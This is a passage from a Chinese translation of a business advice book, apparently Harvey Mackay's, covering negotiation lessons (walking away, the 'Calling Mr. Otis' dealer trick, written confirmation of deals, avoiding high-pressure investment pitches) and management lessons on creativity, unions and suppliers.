Credit)，其中一位合伙人(是位建筑师)可能因为各人名下的贷款金额，依个人职业不同而有差异，引起争议而退出。在这节骨眼上，他们找上了我，开出很优厚的条件，而且给我24小时考虑要不要加入，我说：“谢谢你们，这的确很吸引人。不过我还没决定是否加入。”然后我就离开了。第二天——就在另一个24小时也结束后，电话响了，开的条件比上回更好，包括一家资产净值很高的公司——富比500大企业排名第400——做担保，这点的确可以免除许多风险。 + +离开谈判桌，交易筹码通常只多不少。 + +随时准备离开谈判桌……而且说到做到：你会再度回到谈判桌上——而且行情看涨。 + +## 第24课 虚虚实实 + +你说你不可能被派任为美俄第二回合限武谈判(Stratigic Arms Limitation Talks)代表，或者根本不会被派去处理公司的不动产事宜或劳工合约问题？没关系！总有一天，你会发现：敢于在谈判中站起来，暂时离开谈判桌，将会是你的致胜关键。 + +汽车业里有招欺敌之术叫：“呼叫奥蒂斯先生”(Calling Mr. Otis)。顾客上门对，先给他那辆历尽沧桑的老车一个好得令人惊讶的折旧价，然后再给新车开个令他更满意的价钱。他会再去绕个两三家，才知道这笔生意是再好不过了，一定会回到原来的公司。 + +业务员详细写下这笔交易的注意事项，并请这位顾客签名，然后故意不经意地，问这位顾客其他业务员给他什么价码。顾客在这当儿，红着脸很得意地说出谈判中最宝贵的法宝：情报——也就是另外一家开的价码。 + +业务员说：“还有一道手续，每笔生意都得我们经理通过才行。我马上打电话给他。”销售人员按下电话上的对讲机，说道：“呼叫奥蒂斯先生……呼叫奥蒂斯先生。”当然，根夬蒂斯先生这号人物。是有一位销售经理没错，不过真名可能是史密斯或琼斯之类。 + +奥蒂斯是一家电梯制造公司的名字——只不过这架电梯是往上的。销售经理出面了，把业务员拉出房间，让顾客独自心焦如焚一阵；不久，业务员回来，说明经理不允许这笔生意，然后再以其他家出的价码和这位顾客谈。你也许很纳闷，为什么这位顾客不干脆拍拍屁股走掉算了？ + +因为他已经投下太多情感，他原先打算就在这家公司把交易谈定：车都选好了！蓝色车身加上内部红色装潢，而它就在那展示台上，等着他把它开走。当他和业务员闭室密谈时，老婆正坐在驾驶座上，孩子则在座椅上快乐地蹦蹦跳跳。而且，他早就跟每个同事吹牛：他是个多么精明的谈判高手！ + +如果他“不”签字，需要有很大的勇气，而且一切得从头来过……孩子又会大哭大闹……而且同事也会在背后嘲笑他…… + +好吧！15000元的车，再多个875.5元算什么？只不过多几个月款而已。老兄，这是美国啊，真谢谢你，祝你愉快——这是你分期付款的缴款单据本子。他签字了，因为车没买成，他不能走啊！但是，你可以走！如果你敢不签字，你最后一定可以用更低的价钱买到车——至少比你中了这招老骗局，要付的价钱来得低。 + +## 第25课 面面俱到 + +签合约时，最重要的不在于合约的内容条款，而是在于对方一定得是个诚实人。 + +其次重要的是：对一切与契约有关的账簿和记录，一定要保有查阅的权利，包括税捐记录，信件等等。一旦条款落定，平日看似聪明的人，常常就聪明不起来了(译注：所以要事先做好知己知彼的工作，才能面面俱到)。 + +## 第26课 有凭有据、有备无患 + +我们常会有机会跟那种乡下老兄型的人打交道，他们老说不必签约，“有你一句话就够了！”没错！也许你说括算话，但是他可不！ + +受了一回教训之后，我一辈子也忘不了。我用了一个人，他跟我握手谈定：保证两年内不换工作。一年后，有了更好的工作机会，他就跳槽了。他信口开河说：他记得我们只约定了一年。我怎么证明他乱说？没法子啊！现在我跟这类“乡下老兄”打过交道，有所约定之后，一定在“当天”寄出一封信，写着： + +1．很谢谢你这么豪爽地答应。 + +2．列出约定的条款：“就我所了解我们的约定是，我同意……” + +我通常不要求对方的正式承认书(当然为了安全，你可以要求——以确定信已寄达)。只要一封友善而简短的信笺就行了：往后有任何误解这就是很有用的凭证。 + +## 第27课 放长线钓大鱼 + +标题这句话不是我说的，是我在《纽约时报》一篇文章中读到的。说这句话的人，很清楚自己在说些什么。他是有限公司的董事长威斯纳，经营新型连锁服饰店相当成功。他用瑞克的故事说明这句话的要点。他们约定好在威斯纳的办公室，进行主要谈判。威斯纳是买方，瑞克是卖方，瑞克和他太太莎朵拉迟到两个小时，他解释迟到的原因是因为他太太要去逛古董店。如果有人想卖东西，心里真的在乎得要命，却不愿意承认，那么他一定会不厌其烦，想法子让你以为他一点也不在乎！若他打算花下大把功夫掩饰他脱手的意愿，那他就会把地毯铺得更长(也就是时间拖得更长)。威斯纳的这笔生意，比他原先想的还要好。 + +我也有类似经验。有一回，我担任领队率领代表团前往中国大陆。我负责要把一些制作精美的宣传小册子分发给我们的中国谈判对手。小册子有很漂亮的蓝色封皮，里面详细记载我们团员的背景资料，以及我们的发展潜能。对这些小册子，我很引以为傲，希望把它们全发出去，因为我知道里面的信息会对中国朋友很有帮助。但是我们的主人却说：“别急，我们会在适当的时机发这些小册子的。”可是搞一阵子我们的中国友人似乎兴趣缺缺，这个适当的时机当然就没出现了。我就是弄不懂他们为什么对这些漂亮的册子连瞄都不瞄一眼。后来干脆在一次讨论会后，“不经意”地把它们遗忘在位置上。五分钟后，我回头想去取回它们。结果在场的中国人全都在仔细地研读。就在那一刻，我看见他们脸上洋溢着笑容，比手画脚、兴味十足地在讨论这些小册子。 + +苏俄人最会利用时间，消磨谈判桌上对手的气力，然后甩掉他们。古斯达夫森在一份有关兰得公司的研究报告中，写到东、西方为了铺设瓦斯管线讨价还价的经过：“某位西欧的瓦斯公司总裁回忆，‘在1974年的那趟莫斯科之行，充满挫折，简直毫无成就可言。但是，就在最后一夜，我们在阿尔拔餐厅很沮丧地用餐时，11点钟，苏俄谈判代表欧西波夫突然闯了进来，要了一间私人用厢房。就在那里，午夜过后的短短几个小时中，我们把整个合约硬是给拟出来了。’” + +小心这类拖拖拉拉的对手。除非你小心翼翼，否则很容易搞错对方的用意，而丧失了谈判优势。假装毫不在意或是不经意地忘了约定时间，这两种方法通常是一个精明的谈判对手，用来让人相信他一点也不在乎的惯用伎俩。 + +## 第28课 不打没把握的仗 + +对领死薪水的人而言，经营房地产的人，是蛮有传奇色彩的。我就认识一个这行中的佼佼者，足以让他人相形见细。我们姑且叫他鲍伯——他爸爸以前是送牛奶的。鲍伯从事卡车运输业赚了一大票以后，就在美国东、西岸出资购买职业棒球联盟(Major League)的球队。告诉你他有多精，就在买下中西部一支职业棒球队之后，他不动声色地低价买进西岸一家默默无名的调频电台。非常出人意表的一招，他把这支球队转往西岸，而且把转播比赛的权利交由新购的调频电台独家负责。转移阵地不仅挽救了这支球队走下坡的命运，也使电台的身价猛涨——真是一举两得！ + +鲍伯也是好几家旅馆连锁店的老板。纽约有一家大保险公司，经验老道，掌握了鲍伯最大一家旅馆的抵押权。他们受够了他长久以来延迟、甚至不缴保险费，因此有个星期五，他们派了个专员来见他。这个来势汹汹的专员长驱直入鲍伯的办公室，把一大叠法律文件往桌上一丢，然后宣布从下周一起，保险公司会接管这家旅馆。 + +鲍伯说：“行。不过你们要把客人的车停哪儿？” + +专员说：“停哪儿？当然是停在旅馆后面的停车场啊！” + +鲍伯说：“不对！你们才不可以把车子停那儿！那停车场是我的。只要你们一接手，就会有一条8英尺高、粗铁链连起来的栅栏把停车场围起来。或许你没注意到，方圆三条街内没有地方停车。” + +这家保险公司想想，也就只好让鲍伯继续用他自己那套方法来缴款了！ + +## 第29课 致命伤——感情用事 + +你们大家都应该猜得到，我对运动有股狂热，而且我也喜欢体育活动的管理工作。所以当几年前，我有个难得机会，可以拥有一支属于新成立的运动联盟中的职业球队时，大伙为了防止我签字，就差点没把我监禁起来。 + +当时的情况是这样的：1971年一群杰出的企业界人士合力，希望发展出新的运动比赛构想——国际篮球联盟。 + +那时候，国际传播正在萌芽阶段，麦鲁汉提出的“世界村”(Global Village)构想也正在起步。这个运动可说是“四海之内皆兄弟”这个想法最历久不衰的表征，而我，注定要成为全球运动之父。 + +我的计划是把篮球运动，照美国国家篮球协会的模式先移植到欧洲和中东……然后顺理成章地推展到其他4大洲。想想看：从西南太平洋的萨摩亚群岛到苏联的斯摩棱斯克，全世界将由一个巨大的篮球框结合起来。 + +第一阶段是在八个城市设立加盟总部：罗马、阿姆斯特丹、马德里、慕尼黑、特拉维夫、日内瓦、布鲁塞尔以及杜塞尔多夫。我幻想自己到了德国旅游——大口嚼着香肠，慢慢品尝艾尔啤酒，然后逛到杜塞尔多夫漂亮的哥尼希沙利古堡(Konigsallee)，幻想自己就是欧洲的篮球伯爵(Baron von Basketball)。 + +伟大的日子终于来临！几位创始人齐聚休士顿的一个大礼堂中，共同描绘组织的远景。我们像国际贵族一般进餐用酒。我们把房间包下来，里头有聚光灯、麦克风，应有尽有，像极了联合国安全理事会和大学足球选拔委员会融合在一起的场面。 + + + +名利双收 + + + +在那儿，有人演讲，有人宣传，也有人保证一定会名利双收！然后有人安排要别人上钩——这种勾当我在许多募集基金的晚餐上都领教过。有去无回的25万美元既是投入的代价，也是实现梦想的代价。聚光灯扫描全场：“马德里保证金25万”、“慕尼黑保证金25万”，最后快轮到杜塞尔多夫，我的心都快跳出喉咙了。伟大的国际篮球联盟各成员，设下这鸿门宴是吃定我们了。经过了好几个星期头痛的商议之后，我们完全心力交瘁了。住在这个布置华丽的旅馆房间里，让人有迷失的感觉。这里有来自同侪的压力，暗中进行着某种勾当，到处充满了虚荣。这完全就像募款餐会一样，房里每个人都拍了胸脯保证——除了你以外，而现在会场内的每双眼睛都好像快要压入你的脑壳里。 + +麦克风前的主持人轻而有力地重复提醒：“杜塞尔多夫，有谁愿出杜塞尔多夫的保证金？” + +老兄，轮到你啦。 + +我想答应。我非得答应不可。但是，我说：“杜塞尔多夫，放弃！”你知道后果如何吗？ + +什么事也没有！ + +世界仍旧在运转，当然，房里传来一阵窃窃私语、摇头叹息，这是预料中的事，因为我临阵脱逃了。 + +我为什么放弃？一切似乎都很圆满，而且这件事又是我一心想做的。原因很简单，我并不信任这种煽情的基金募集方式，就是这点使得我对整个计划起了疑心。 + +结果证明我的决定是对的。国际篮球联盟在一季的比赛之后就收摊了。整个过程中，每个加盟总部都亏了差不多100万美元。 + +有时候很值得支持鼓励的一些事，会用这种方式来募款。事情真的很值得做，但是就我来看，这种方法绝不可取。如果别人要求你大手笔投资，你就不只有权，而且也有责任去好好冷静思考一下。如果别人希望你能出钱答应资助时，千万不要因为一时冲动就作下重大决定。制造灾祸的秘方无他：感情用事是也！ + +.豪华大旅馆里，七个有运动狂的企业家，渴望在国际性的大场面上提升地位——也许你没在这种场合被坑过，可是你很可能碰上类似的情况。总会有人对你这么说：这条件实在是再优渥不过了，这可是你最后的机会总有人会开出你无法拒绝的条件。对方步步为营、事事小心，只为等待时机到来——等轮到你时，你就得义不容辞地答应！千万别答应！ + +## 第30课 揭开华而不实的外表 + +如果我在国际篮球联盟的经验无法说服你，这里还有个老政客说的故事，可以作为佐证。 + +时间是1967年和1968年间的冬天。场景是靠近芝加哥的欧哈尔旅馆(O’Hare Inn)。五六十位共和党负在开会，他们都是尼克松的支持者，其中不乏美国知名人士，包括参议员德克森和冯恩、罗吉州长、前国会议员凯拉维以及主席克兰迪恩斯等人。他们集会是为了策划竞选战略、计算众议员票数……总之，只是大伙聚在一块，为尼克松六个月后在迈阿密争取共和党提名，互相打气以壮声势罢了。 + +整个场面令人印象深刻。有个活动模拟各州票选结果当然不出所料，尼克松赢了第一回合的候选人提名选举(不过，出乎意料的是后来他居然真的赢了)。克兰迪恩斯就为在纽约的尼克松接通了电话，透过扩音器，尼克松发表了一场短而振奋人心的演说，当他保证当选以后人人都有工作之时，达到了高潮。那是当天掌声最多的一场演说，虽然对都有很好职业的美国参议员来说，工作的吸引力如何似乎很难说。 + +散会后，大部分人都走了。我有一个朋友，也是这次的选务人员，不过只是帮忙性质的助选员(Operative)，他为知道更进一步的指示，就跟着魏京森――曾在奥克拉荷马州担任足球首席教练，也代表过共和党竞选该州参议员，不过失败了――到这家旅馆的一间套房内。 + + + +发表意见 + + + +房里聚满了会议中的大老，包括克兰迪恩斯在内。房间的一角站着一位后来也成为尼克松阁员的国会议员，一边吃着点心，一边发表他个人意见。 + +国会议员说：每回全国大选，一定要成立特别办公室，通常设立在全国的中心点——芝加哥，也就是这里！ + +办公室一定要挂一盏华丽的美术吊灯，这点非常重要。那一定可以使我们这间办公室令人印象深刻，而且室内要摆张大桌子，坐着候选人最亲密、最信任的顾问。 + +竞选期间，每天都会有人送钱来办公室。绝不要一大笔。 + +绝不是什么大笔钱！ + +是那种不多不少的钱。 + +然后，这些送钱的人会告诉竞选顾坷：他们想要什么，因为在美国，没有人会给钱而不要求回报的。通常他们会要求出任大使或次长级的职务。 + +这年头，送这么一点钱，实在连把他们弄进斯里兰卡(Srilanka)大使馆的餐厅都不可能了(更不用说当大使)；但是我们也不会因为这些送钱的人搞不清楚我们这个社会的状况，就轻视他们吧！ + +所以我们的顾问，坐在大桌子后面……严肃地点点头，然后在发亮的高级记事本上作笔记。 + +每个捐献者离开后都很高兴，因为他可以跟老婆、孩子夸口，说他和下任总统的哥儿们交谈过呢！他甚至还会收到一封很漂亮的复印信――是他这个哥儿们寄信给候选人的影本，内容谈到某某某先生很诚挚的捐出一笔款子，资助我们这位猛虎一般的候选人。而最大的好处就是，我们可以把这种人忘得一干二净，因为笨到会开车到芝加哥这个华丽办公室来的人，实在不值得再为他费心，万一我们真的赢得总统宝座也一样。 + +我们都听说过：要是有什么事好到根本不像真的，那么很可能就不是真的！可是如果你要投资，最好在看清真相之前三思而行： + +●如果当时的场面太过华丽 + +●如果当时有太多生面孔 + +●如果你离家太远 + +●如果那些人都对你好得不得了 + +●如果这笔生意太迷人 + +●如果你一加入，就有人为你冠上很尊贵的头衔 + +――换句话说，如果条件看起来还不错，但是把全部这些因素(而且似乎多了一些)都考虑进去的话，我的朋友，你只要记住下面这句金玉良言即可：杜塞尔多夫，放弃！ + +然后，夺回你的支票簿，赶快离开那个鬼地方吧！ + +## 第31课 凡事好商量 + +过去几年当中，有些美国产业界最著名的公司，如海湾石油公司，美国广播公司，以及蒙哥马利百货公司等，都被其他公司蚕食鲸吞了。其他一些看似不倒城堡的公司，如美国电话电报公司，也已经解体，一部分一部分地分售出去。这种情形并不出奇。资本主义的定义就是：任何东西都可出售的经济体系。 + +有些大企业的资产额相当高，甚至超过世界大多数国家的所值，也照样可以被买卖――解体成许多小部分，或是合并成更大的公司，就像一堆废铁。没有什么交易是不能谈的。只要是利之所驱，总有买卖可作。。 + +十之八九的诉讼案会在法官判决之前自行解决，原因是：即使再大的仇敌，只要有利可图，双方都会面对面坐下来好好商量，这总比争吵来得强吧。 + +只要能让你的对手相信交易对他们有利，你就没有什么生意做不成。 + +## 第32课 买卖的战争 + +在买方和卖方的战争中，卖方使用的是攻击性武器： + + + +●侦测――利用类似“麦凯66”(参考第4、5课)的方法。 + +●渗透――在买方与卖方之间，制造出个性上或是道德上特别的人际关系也未尝不可。 + +●宣传――利用广告和公关。 + +●改变战术――探测买方防御工事的弱点，只要一个“好！”或是有一点蛛丝马迹的线索就能使整个战情明朗。 + +●坚持、施压，及最后通谍。 + + + +而买方使用的则是防御性武器： + + + +●侦测――运用(类似20课的)探子刺探军情。 + +●时问――运用的战术包括距离、推托、扰乱、幽默――反正只要能增加买方情报、耗损卖方精力以迫使他在条件上让步的招术，都尽管使出来！ + +●小冲突――不断试探对方让步的可能……一而再，再而三，直到卖方精疲力竭。 + +●埋伏――在卖方认为已经达成交易，而且在心里盘算、觊觎利润之时，掌握住对方可能做的最大让步下最后通牒。 + +这真是一场公平竞争，不是吗？谁是赢家？答案永远是一样的：谁情报搜集得愈好、计划做得愈周密、运用技巧愈高明，谁就是赢家。 + + + +# 第三章 麦凯管理短篇 + +## 第33课 经理人最容易犯的大错 + +你不用成为一个独裁者才能使所有的美国人团结起来。希特勒对于美国人性格的了解来自卡尔·梅伊所写的系列西部小说，几乎每个德国男孩都是看这些小说长大的，作者却从未踏上美国国土。但这也不能改变希特勒对美国生活的刻板印象。等看到我们美国人，因为能容忍别人自由表达而激荡出互相竞争的创意时，希特勒大概才会恍然大悟自己原先的印象是错误的。他所想像的美国是一个没有秩序的社会，自然也就脆弱、没有防卫能力、没有办法持续地努力工作。 + +我记得最兴奋的一次经验，是在第二次世界大战期间，当我还是一个小男孩时，我父亲安排我跟着他，搭乘一架满载记者的飞机，观看明尼亚波利斯市和圣保罗市的竞赛，比赛的项目是在空袭警报发布后，哪个城市能比较快地实施灯火管制。飞机沿着两个城市的边境飞过时，我尽量把脸贴近玻璃窗上，避免错过现场的任何镜头。当警报声开始时，全城的灯似乎在一只看不见的手轻按开关下，瞬间熄灭了。 + +当独裁者希特勒发现意见纷陈、各有不同背景的美国人，竟然能够如此有默契，其中总有个答案吧！那就是动机、目标、资源、领导能力。这不是限制，也不是盲从，更不是规定。天晓得美国人有多讨厌规则。田纳格公司的前任总裁――西蒙斯曾是最敏锐的创业家。田纳格的人形容西蒙斯是他们公司今天营业额可达亿美元的关键人物。当西蒙斯在史丹福大学开研讨会时，我有个机会与他共进晚餐。 + +他说建立成功企业有四个原则：第一是找到资金。第二是建立有利的经营环境。第三是雇用关键人物。有关第四点原则，他停了许久才说出来。“到目前为止，我说的其实你以前就知道了，第四点原则才是最重要的，那就是：你必须知道什么时刻该离开，这是最困难的一部分，但却能令你致富。” + + + +创意最怕受限 + + + +我有一位经营广告公司的朋友，叫斐伦。他的公司被《广告时代》选为该年度的广告公司――地位相当于电影奥斯卡金像奖――并囊括所有的奖，这是破天荒头一次把此奖颁给了一家既不在纽约，也不在洛杉矶，而在鸟不生蛋的中西部、名不见经传的广告公司。 + +对该公司敏锐的创意人员，斐伦的经营风格是最理想的，这些广告人可不是穿得正经八百的类型。如果斐伦强制他们全穿西装打领带，15分钟以内，办公室就全空了。但他和这个行业的人面临同样的挑战，产品如何比别人出色。他做到了！借着给每个人最大的自由，同时赋予他们个人前所未有的责任。 + +我认识一位曾为斐伦工作，后来跳槽的公关说：“在斐伦那儿待了两年之后，才知道斐伦是老板，而我之所以会知道，还是因为斐伦要走了，接替他的人告诉我从此要转而向他报告，我才知道原来的老板是斐伦。” + +斐伦了解在他的(也是你的)行业中人们想要寻找的不只是金钱，更包括认同感、被欣赏以及创造的自由。斐伦给他们这些，他们则回报以他最想要的――在这行业里最出色的产品。 + +斐伦不下命令；他自己辛苦工作并亲自参与以协助创造的过程。在这个游戏里，你的资产就是创意，它可能来自任何人、任何地方。创意总监可以有能力写出棒透了的文案，就像文案撰稿也能构思版面。但维持活泼流动的创意，关键是制造出气氛，让人能自由自在地贡献自己。这也是为什么你能一拿起电话，就能直拨给斐伦，立刻和他说话，而没有任何人问“你是谁？”或“你要做什么？” + +世上没有一家年营业额1亿美金的公司能让你直接和老板通电话而不用透过总机及三个秘书。虽然斐伦因此用比他自己愿意的更多时间来和保险公司和股票掮客谈话，但比起创造出全国最佳的广告公司，这只是小代价。 + + + +公司内创业家 + + + +不论你身处何种行业，如果想成功，经营者必须创造出能让员工最具生产力的环境。如果你破坏了创造过程中他们自由的感觉以及神来之笔的即兴佳作，即使你让他们掌握细节，还是无济于事。你不只提供你满意的环境，还要设法创造出他们需要的工作气氛以达到最高生产力。 + +看看那些离开了公司，曾以自己的专业帮助你成功的同事。他们不是为钱做事，他们需要的是表达自己风格的空间、被认同及受到激赏。给他们这个空间、认同他们、激赏他们，他们十之八九不会离职他去。我们已听过许多有关“公司内创业家”(intrapreneurship)的故事，这不是一种新型态的资本主义，而是早就有的观念，让有才能的人士爬升至仅次于出资者地位，宁可他们成为“他们自己”企业的总裁，而不愿失去他们。 + +我们公司有一个精明的年轻人，他若自己经营公司，必定能够轻易成功，他本人也了解这一点。我们及时提供他资金并设立能表现他专长的部门，使他成为明尼苏达彩色信封麦凯信封的子公司的总裁。当然，如果他只是满足于成为一个平凡的员工，对我们更有利。但是这是一个变通方式――让他独立主持一家子公司，总比失去他、让他变成我们公司的竞争对手来得好。 + +约翰逊总统描述与胡佛的关系时，对所谓“公司内创业家”提出一语中的的解释，虽然有点无奈：“我宁愿他在我的势力范围内为所欲为，而不愿让他到外头与我为敌。” + +所以请记住，如果你能发展出一种领导风格――用肯定的方式表达你的理念，并且让员工放手做你要他们做的事，借此表达你对他们的信任，他们自然会注意工作细节，就像驾着你的船参加美国杯(America’s Cup)帆船赛一般，技巧地完成艰巨的工作。 + +管理要像骑师薛麦克一般，由于他使用最轻的力道控制缰绳，使他成为那行的顶尖骑师，有人说除非薛麦克认为有必要，马儿从不知道他就骑在马背上。 + +## 第34课 钱可买到经验，经验可以赚到钱 + +当我买下，也可以说我笨得被一家信封公司粘住不放时，这家公司有12名雇员，年营业额20万美金，及一大堆制造信封的破铜烂铁。买下之前，我曾自认很有商业眼光地查看这家公司的帐。“不用看帐了，”这家公司迷人的前任负责人说：“买不买，一句话！” + +当我说我愿意买下这家公司时，我所雇请的律师曾经劝阻我。最初5年，我在破产与精神错乱中摇摆不定。 + +那些年我还不了解信封这种行业也可以像律师与会计师等行业那么有价值。律师与会计师的表现的确了不起。他们在专业方面无疑是行家，但请教他们其他行业的事就像请教一个兽医一样。 + +我也学会如何与一个伟大的美国机构――工运组织打交道。有一年年底，公司内开始要投票是否组织工会之前，我问我的新律师我该怎么办？ + +这名律师告诉我：“你不要因为他们参加工会而解雇他们，你不能吓他们，那是不公平的。但你可以一个个把他们叫进办公室，告诉他们彼此应该为追求一个共同目标而努力，不要运用工会等外来的干扰来告诉公司该如何经营。” + +我照他的话做了，我把他们一个一个叫进办公室，引导他们高瞻远瞩，使他们了解只要我们像过去一样努力，未来就会有瑰丽的远景。 + +所有的20位员工在我生动的演讲后，都表示会投票反对成立工会。只有一个职员对我说：“我祖父是工运人士，我父亲和我也都是，我会投票赞成工运。” + +那就是说我将以19：1赢得这场选举。当时我年方26岁，乳臭未干，第一次尝试处理工运，就很轻松地证明我天生是处理劳工关系的长才。 + +太容易了，我真是一个了不起的企业家！我简直迫不及待要把这项胜利告诉我的律师。但他听了之后井没有赞誉有加，我把他的反应解释为嫉妒我的才能。他说：“等选举结果出来再说。” + +翌日，工会选举开始，选举结果是19：1——――他们居然绝大多数赞成工运。我输了――19：1——我完全投降。 + +我过去所学的是我必须在事情尚未尘埃落定之前，做一些修正与调整，使我的事业目标能完全无虞。父亲也常教我不要担心泼掉多少桶牛奶，只要别把牛弄丢了，也就是说“留得青山在，不怕没柴烧”，这个工运故事的结局是我抬高了产品价格，以负担工会加薪的要求。 + +从买下公司之后的头几年开始，我摇摇摆摆地开始了自己的事业。至今，麦凯信封公司已拥有350个员工，营业额约3500万美元，在明尼苏达与爱荷华两地都设有工厂。 + +这只是一个在美国发生的微不足道的成功故事。我将告诉你，我是如何做到的，而且你也能做到。要注意的是，麦凯信封公司不是由于机会好，或找到一个很好的市场利基而成功的。 + +信封业比水泥业还不景气。我们的产品常遭受外来替代品的攻击，如电话与电脑等更方便的沟通工具。为了增加盈余，成功的信封公司只有拟定一条符合逻辑的策略――掠夺别家公司的市场占有率。这意味着要加强销售人员的训练，走薄利多销的路线。信封业虽然没落了，仍可像农业一样，使政客有足够的兴趣说服大众――农业是美国式生活的支柱。 + +## 第35课 坏消息比好消息更该听到 + +我对自己有个金科玉律。恰如《追求卓越》一书所说，我每天在工厂内实施走动式管理。不用别人告诉我一句话，我就能学到一些新的事物、感受到工厂里的感觉、触觉及脉动。一句话也不用说吗？绝对不用。有如夫妻之间，不需要敲锣打鼓也能互通心意一样。 + +一个“能干的”经理人可借由在工厂内四处走动，而比任何人更早知道好消息。 + +然而一个“杰出的”经理会最先得到坏消息。没有人愿意承受坏消息，惹祸者也总是企图遮掩。如果你是领导阶层人士，你必须鼓励坏消息的流动，因为不这样做的话，情形还会更糟。 + +如果你认为只有由下往上沟通才是一种正式、有系统的沟通方式，就大错特错了。不要期待你下达命令的系统会告诉你坏消息。如果出了问题，在你知道之前，你的属下总会想办法先解决掉。他会把事情合理化，以消弭自己的责任。 + +你需要开辟第二条沟通渠道。你不但要鼓励你自己的员工，也要鼓励你的顾客非正式地告诉你坏消息。 + +世界最大、最成功的零售公司是黛顿·胡生公司。没有比零售业更难经营的了。看看那些已没落的美国零售巨人，如葛兰特及金伯零售店，或者已经有营运困难的，如飞旗、代林、肯尼迪等等。 + +当零售业没落时，黛顿兄弟如何想办法生存并成功的？多年来，你若要找黛顿，不要到办公室找他，而要到他的店里去找。如果他要回到他11楼的办公室时，他从不搭乘电梯，总是沿着电扶梯上楼，看看每一层楼店面的情况。该公司最高决策者之一麦克说，黛顿的每一个主要决策者每天都搭乘电扶梯上上下下11楼。他们不只是在店里“逛”，而是在“关心”他们的店。 + +真正的经营专家要找到最好的企业情报，绝不可能得自一篇报告或其他二手情报中，而是来自你与顾客及职员面对面、经常、迅速、直接接触的反馈。 + +## 第36课 天下无难事 + +我有一个很简单的方式完成我实在不想做的事。我把它简单地写在一张纸上，然后放在我桌旁地板上。每当我要走到座位时，都必须越过这张令人烦心的纸，无论是跨过或踏过，逼得我会尽快完成这件事。 + +## 第37课 对待你的供应商，一如对待你的顾客 + +尽管供应商会在圣诞节时送来漂亮的水果篮，或请我们吃最昂贵的午餐，但是我们多半对供应商的看法还是：“他们虽然无知，却很精明，我们得随时看着他们。” + +BG公司对供应商的态度却不同，但是更接近“已所不欲，勿施于人”的金科玉律。举例来说，供应商不必常常出价争取BG的订单，BG也不为了产品规格来决定供应商。这里有个例子可以看出他们如何运作。 + +我的一位朋友，姑且称之“阿良”，他在一家公关公司工作。另外，BG的一个主管，我们就叫他亚瑟。 + +有一回阿良被炒鱿鱼，事情闹得众人皆知。城里其他公司不愿雇用他，所以他自己开了一家公司。开张3周后，生意出奇清淡。这时他接到BG的亚瑟打来的电话。亚瑟问他是否有时间帮他推展一个市场行销计划，并且为他们的一个活动作一些公关计划。 + +阿良表示他会想办法抽出空来。当整个计划完成后，亚瑟要阿良带着帐单过去。阿良觉得有点奇怪——大多数人都会希望你把帐单寄过去，他想大概他们想逐张查看，于是他紧张地整理好所有的单据并列清明细，然后去BG。 + +亚瑟只瞥了帐单一眼。他把秘书叫过来，对她说：“请你看看我们是否能马上付清阿良的帐款。”款项立刻申请出来。走出这栋办公大楼时，他已经拿到了钱。 + +在学校里谁告诉过你立刻付清供应商的帐单？谁不是尽可能延付帐款，以便多生些利息？你见过有哪个会计因为太晚付钱给供应商而遭解雇的？ + +这个故事还有个结尾。3年后的圣诞节，阿良的事业已越做越好。他后来又为BG做过一些重要的企划案，但当业务越来越忙后，BG的消息就很少听到了。有天电话又响起，是亚瑟打来的。阿良想不想利用假日赚点外快？他们有件事立刻需要人帮忙。可是阿良和手下都已经忙得不可开交了。“我告诉他我从来没有这么忙过，”阿良说：“可是如果他们真的需要我帮忙，我也乐于从命。甚至我也可以介绍别人来帮忙。” + +“不用了，”亚瑟说：“我会处理的。谢谢你的好意。真高兴你的生意这么好。” + +“我们又谈了一会儿，只是随便聊聊而已，但是当我挂掉电话之后，我非常激动，然后哭起来。我终于了解以前在我没有业务时他给我生意，并不是因为我是个很伟大的公关高手，在城里许多人比我做得更好。但亚瑟之所以要我帮他做，是因为他们知道我受伤害，并且我需要这个生意。后来他们再度打电话给我，也是试探我是否仍需要帮忙。没有人像BG公司那么照顾我这个犹太人。 + + + + + +无价之宝——忠诚度 + + + +在他困难时帮助过他，他终生难忘。有多少公司在停止与供应商的交易关系之后多年，仍永久拥有供应商的友谊呢？当阿良需要帮忙时，BG帮了他忙；也因此赢得了无价之宝——忠诚度。BG已体会到一个商业原则，因为它是如此基本而平凡，以致我们很少遵循：如果你期待别人关怀佩，你就要主动先去关怀别人。听起来像是老生常谈，BG但却收效甚闳。你知道BG因此得到了什么服务？获得了怎样的声誉？他们从供应商那里得到了什么样的价格与交货条件？ + +我可以回答这些问题，因为自己也是BG的一个供应商，而且像阿良一样是个犹太人。事实上，他们得到最好的品质、最好的交货条件、最好的价格，虽然他们不比价，但你可确定他们了解行情，如果你索价过高，第一次他们会付款，却没有第二次的生意了。他们被公认是全城最好的客户，不只是因为他们付款爽快——每次货装上船之前，我就会拿到他们寄来的钱，这是业界少见的现象；也因为BG公司人才素质好。事实上，我们宁愿少赚一点，只要保持与他们做生意的荣幸。 + +你的付款方式也说明了你对交易对象的态度。所以不管是为你油漆房子的工人也好，或是运货的公司也好，如果你能一收到帐单就立即付款，一定能受到较好的待遇。 + +## 第38课 人尽其才 + +BG司反映了两种不伺才能的人：葛兰汉本人及他的伙伴魏尔森。葛兰汉是个典型的“对外先生”(Mr. Outside)。他具体把他公司的形象展现给外人及内部职员。他的个性、领导风格、公众魅力，虽然看不见，却是公司旺盛士气的源泉。如果说葛兰汉激励了士气，魏尔森则维持了公司。内部的沉稳；他是“对内先生”(Mr.Inside)：不爱出风头、低沉的调子、永不疲倦、有一双识人及明察秋毫的眼睛，随和、温暖，能与人一对一的沟通，并且对葛兰汉绝对忠诚，用高效率、现代化的方式经营公司。 + +大多数公司，尤其是工厂，都需要这两种人才：业务员带回生意，经理人负责执行。但是你一定很惊讶有多少公司不了解，一个人很难同时拥有这两种才能，甚至许多公司因为“对内型”和“对外型”的严重冲突，搞得四分五裂。 + +《纽约时报杂志》写过一篇文章，介绍华尔街一家投资银行——雷门投资公司阅墙之争的内幕。粗略地说，该公司的“对内先生”赶走了“对外先生”，结果不到一年，这家名声响亮、有百年历史的公司就被另一家喜而森公司吞并了。 + +“对内型”的人认为自己足以应付公司的一切，他们终于尝到了苦头。 + +我不是一个“对内先生”，所以无法内外兼顾。但是自尊心使我花了很长的时间才承认这一点。一旦承认事实，我就去找一个人来经营我的工厂，让他做总经理。他做得比我好多了。但相反的，我的对外业务却做得比他好。 + +把对内和对外的角色分开，会让你大展鸿图。 + +## 第39课 老板不要自己扮“黑脸” + 